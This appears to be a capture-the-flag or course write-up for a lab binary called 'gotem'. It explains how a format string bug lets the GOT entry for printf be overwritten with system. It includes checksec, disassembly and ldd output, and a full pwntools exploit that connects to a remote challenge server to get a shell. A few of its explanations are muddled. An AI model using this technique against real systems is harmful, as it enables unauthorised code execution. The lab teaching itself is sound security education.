gotem

Our goal in this binary is to overwrite a function's address inside the GOT table. This will hijack the function's behavior, meaning that we can call that function and force it to call another.

To ensure we can do this, we check the security to ensure that RELRO is not fully enabled:

```
$ checksec gotem
[*] '/home/joybuzzer/Documents/vunrotc/public/binex/08-got/gotem/src/gotem'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x8048000)
    Stack:    Executable
    RWX:      Has RWX segments
```

We see this binary has **Partial RELRO**. This means that the GOT table was moved above the program variables, meaning that we can't ever overflow into the GOT. This doesn't mean that we can't overwrite its contents using another method (like a format string vulnerability).

There are lots of other vulnerabilities in this binary. We also notice that PIE is turned off, which is good for us. This means that we have the absolute address of the GOT table so we can overwrite it. *For this binary, we will assume that ASLR is **disabled**.*

Static Analysis

The code in this binary is definitely interesting. If we look at the `read_in` function, we notice some interesting features:

- The end of the function has no return. The end of the function jumps back to `read_in + 21`. *This is an infinite `while` loop*. We'll need to consider how we can take advantage of this.
- This binary features a secure `fgets` call that reads in `0x12c` bytes into a `0x134` byte buffer. This means we can't overflow the buffer.

```
   0x080491e1 <+59>:    mov    eax,DWORD PTR [ebx-0x8]
   0x080491e7 <+65>:    mov    eax,DWORD PTR [eax]
   0x080491e9 <+67>:    sub    esp,0x4
   0x080491ec <+70>:    push   eax
   0x080491ed <+71>:    push   0x12c
   0x080491f2 <+76>:    lea    eax,[ebp-0x134]
   0x080491f8 <+82>:    push   eax
=> 0x080491f9 <+83>:    call   0x8049070 <fgets@plt>
```

- This binary has a clear format string vulnerability. We can use this to perform arbitrary reads, or more importantly, arbitrary writes.

The existence of the infinite loop means we can continue to write data. We're writing to the same secure buffer, so this doesn't mean we can overflow it. Let's think about our attack vector.

- We need to overwrite the GOT table. To do this, we need to perform an arbitrary write.
- We can use the first iteration of the loop to find out where we write in memory. Like format, we'll put the address we want to write at this location.
- We then need to find the difference in offset between the function we choose to overwrite and what we want the new function to be. In this case, we choose to overwrite `printf` because it directly calls our input string, and we will overwrite it with the address of `system`.
- Finally, by passing `/bin/sh` as our input, `system` will be called instead of `/bin/sh` and we will get a shell.

Let's make it happen!

Writing the Exploit

We know how to do format strings to perform arbitrary writes. We can actually get pwntools to do this for us as well using their `fmtstr_payload` function. This function takes two arguments:

1. The offset to the address (i.e., which argument we'd use for `%n`)
2. A dictionary containing the address we are changing and the value we want to change it to.

In this case, we want to change the fifth argument (*verify this for yourself!*). We want to change the address of `printf` in the GOT table to the `libc` address of `system`. This makes our payload string look like:

```
payload = fmtstr_payload(5, {elf.got.printf : libc.sym.system})
```

This saves us a lot of time calculating the number of bytes we need to write, writing those bytes, then using the `%n` identifier to write the correct number of bytes. We can just use the `fmtstr_payload` function to do it for us.

Remember that if we don't initialize the base address of `libc`, it will just use an offset. We need to get the base address. Since ASLR is turned off, this is a hardcoded value. We can get this by running `ldd` on the binary to check the dynamic linker:

```
$ ldd gotem
    linux-gate.so.1 (0xf7fc4000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7c00000)
    /lib/ld-linux.so.2 (0xf7fc6000)
```

This tells us that `libc` is located at `0xf7c00000`. When we make the exploit, we'll use this as the base address for `libc` before using any `libc` functions.

This makes our full exploit look like:

```python
from pwn import *

elf = context.binary = ELF('./gotem')
libc = elf.libc
libc.address = 0xf7c00000
p = remote('vunrotc.cole-ellis.com', 8100)

payload = fmtstr_payload(5, {elf.got.printf : libc.sym.system})

p.recvline()
p.sendline(payload)
p.interactive()
```

This will get us shell on the remote server and hence our flag!